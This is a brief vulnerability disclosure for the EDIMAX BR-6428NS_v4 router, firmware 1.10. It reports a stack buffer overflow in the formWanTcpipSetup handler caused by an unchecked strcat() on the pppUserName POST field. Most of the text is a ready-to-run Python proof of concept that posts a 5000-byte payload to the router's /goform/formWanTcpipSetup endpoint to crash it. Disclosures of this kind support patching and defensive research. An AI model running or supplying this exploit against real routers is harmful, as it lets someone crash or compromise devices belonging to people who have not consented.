Overview

• The device's official website: https://www.edimax.com/edimax/download/download/data/edimax/global/download/wireless_routers_n300/br-6428ns_v4

Affected version

BR-6428NS_v4_1.10

Vulnerability details

The EDIMAX BR-6428NS_v4_1.10 firmware has a stack overflow vulnerability in the formWanTcpipSetup function. The v44 variable receives the pppUserName parameter from a POST request. However, since the user can control the input of pppUserName, the statement strcat() can cause a buffer overflow.

POC

import requests

ip = "192.168.2.1"

payload = "A"*5000
data = {
    "submit-url":       "",
    "wanMode":          "2",
    "enableDuallAccess": "",
    "duallAccessMode":  "",
    "DUAL_WAN_IGMP":    "",
    "pppConnect":       "1",
    "pppDisconnect":    "",
    "DNSMode":          "1",
    "dns1":             "1.1.1.1",
    "dns2":             "",
    "pppUserName":      payload,
}

url = f'http://{ip}/goform/formWanTcpipSetup'

res = requests.post(url=url, data=data, verify=False)
print(res)